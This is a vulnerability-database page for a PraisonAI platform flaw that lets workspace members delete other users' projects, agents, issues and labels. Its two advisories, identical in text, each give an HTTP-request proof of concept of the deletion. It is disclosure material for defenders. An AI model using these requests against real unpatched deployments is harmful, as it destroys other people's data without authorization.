CVE-2026-57121
highpriority · track · 0EPSS 0.003 · 26 %ileUSEPSS · scored 2026-10-27
PraisonAI is a multi-agent teams system. From version 0.1.4 to before version 0.1.5 in praisonai-platform, a workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly. This issue has been patched in version 0.1.5.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (1)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-rh39-9c67-59mhPraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API2026-06-18ghsa · osvUS
### Summary A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly. ### Details The [published role capability matrix](https://docs.praison.ai/docs/features/platform/members) explicitly restricts members from modifying others' content: | Capability | Owner | Admin | Member | |---|---|---|---| | Create issues/tasks | ✅ | ✅ | ✅ | | Edit own content | ✅ | ✅ | ✅ | | Edit others' content | ✅ | ✅ | ❌ | The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an `owner`/`admin` role. The result is that the `member` role has unrestricted DELETE access over all workspace content regardless of who created it. **Confirmed vulnerable endpoints:** | Endpoint | Expected | Actual | |---|---|---| | `DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` | 403 | 204 | The missing check is isolated to content resource DELETEs. ### PoC **Requirements:** Two accounts — owner (resource creator) and member (attacker). **1. Register both accounts** ```http POST /api/v1/auth/register Content-Type: application/json {"email": "owner@example.com", "password": "Password1!", "name": "owner"} ``` ```http POST /api/v1/auth/register Content-Type: application/json {"email": "member@example.com", "password": "Password1!", "name": "member"} ``` **2. Owner creates workspace, adds member with `member` role** ```http POST /api/v1/workspaces/ Authorization: Bearer <owner_token> Content-Type: application/json {"name": "Test Workspace"} ``` ```http POST /api/v1/workspaces/{workspace_id}/members Authorization: Bearer <owner_token> Content-Type: application/json {"user_id": "<member_user_id>", "role": "member"} ``` **3. Owner creates a project** ```http POST /api/v1/workspaces/{workspace_id}/projects/ Authorization: Bearer <owner_token> Content-Type: application/json {"title": "Owner's Project"} ``` Response `201 Created`: ```json {"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...} ``` **4. Member deletes the owner's project** ```http DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6 Authorization: Bearer <member_token> ``` Response: **`204 No Content`** **5. Owner confirms the project is permanently gone** ```http GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6 Authorization: Bearer <owner_token> ``` Response: **`404 Not Found`** ```json {"detail": "Project not found"} ``` The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments). --- ### Impact This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this. **Who is impacted:** Workspace owners and members who share a workspace with untrusted or compromised member accounts.
- PYSEC-2026-3526PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API2026-07-23vendor · osvUS
### Summary A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly. ### Details The [published role capability matrix](https://docs.praison.ai/docs/features/platform/members) explicitly restricts members from modifying others' content: | Capability | Owner | Admin | Member | |---|---|---|---| | Create issues/tasks | ✅ | ✅ | ✅ | | Edit own content | ✅ | ✅ | ✅ | | Edit others' content | ✅ | ✅ | ❌ | The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an `owner`/`admin` role. The result is that the `member` role has unrestricted DELETE access over all workspace content regardless of who created it. **Confirmed vulnerable endpoints:** | Endpoint | Expected | Actual | |---|---|---| | `DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}` | 403 | 204 | | `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` | 403 | 204 | The missing check is isolated to content resource DELETEs. ### PoC **Requirements:** Two accounts — owner (resource creator) and member (attacker). **1. Register both accounts** ```http POST /api/v1/auth/register Content-Type: application/json {"email": "owner@example.com", "password": "Password1!", "name": "owner"} ``` ```http POST /api/v1/auth/register Content-Type: application/json {"email": "member@example.com", "password": "Password1!", "name": "member"} ``` **2. Owner creates workspace, adds member with `member` role** ```http POST /api/v1/workspaces/ Authorization: Bearer <owner_token> Content-Type: application/json {"name": "Test Workspace"} ``` ```http POST /api/v1/workspaces/{workspace_id}/members Authorization: Bearer <owner_token> Content-Type: application/json {"user_id": "<member_user_id>", "role": "member"} ``` **3. Owner creates a project** ```http POST /api/v1/workspaces/{workspace_id}/projects/ Authorization: Bearer <owner_token> Content-Type: application/json {"title": "Owner's Project"} ``` Response `201 Created`: ```json {"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...} ``` **4. Member deletes the owner's project** ```http DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6 Authorization: Bearer <member_token> ``` Response: **`204 No Content`** **5. Owner confirms the project is permanently gone** ```http GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6 Authorization: Bearer <owner_token> ``` Response: **`404 Not Found`** ```json {"detail": "Project not found"} ``` The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments). --- ### Impact This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this. **Who is impacted:** Workspace owners and members who share a workspace with untrusted or compromised member accounts.
also known as (2)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (1) nvd
External citations — patches, advisories, analysis.
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan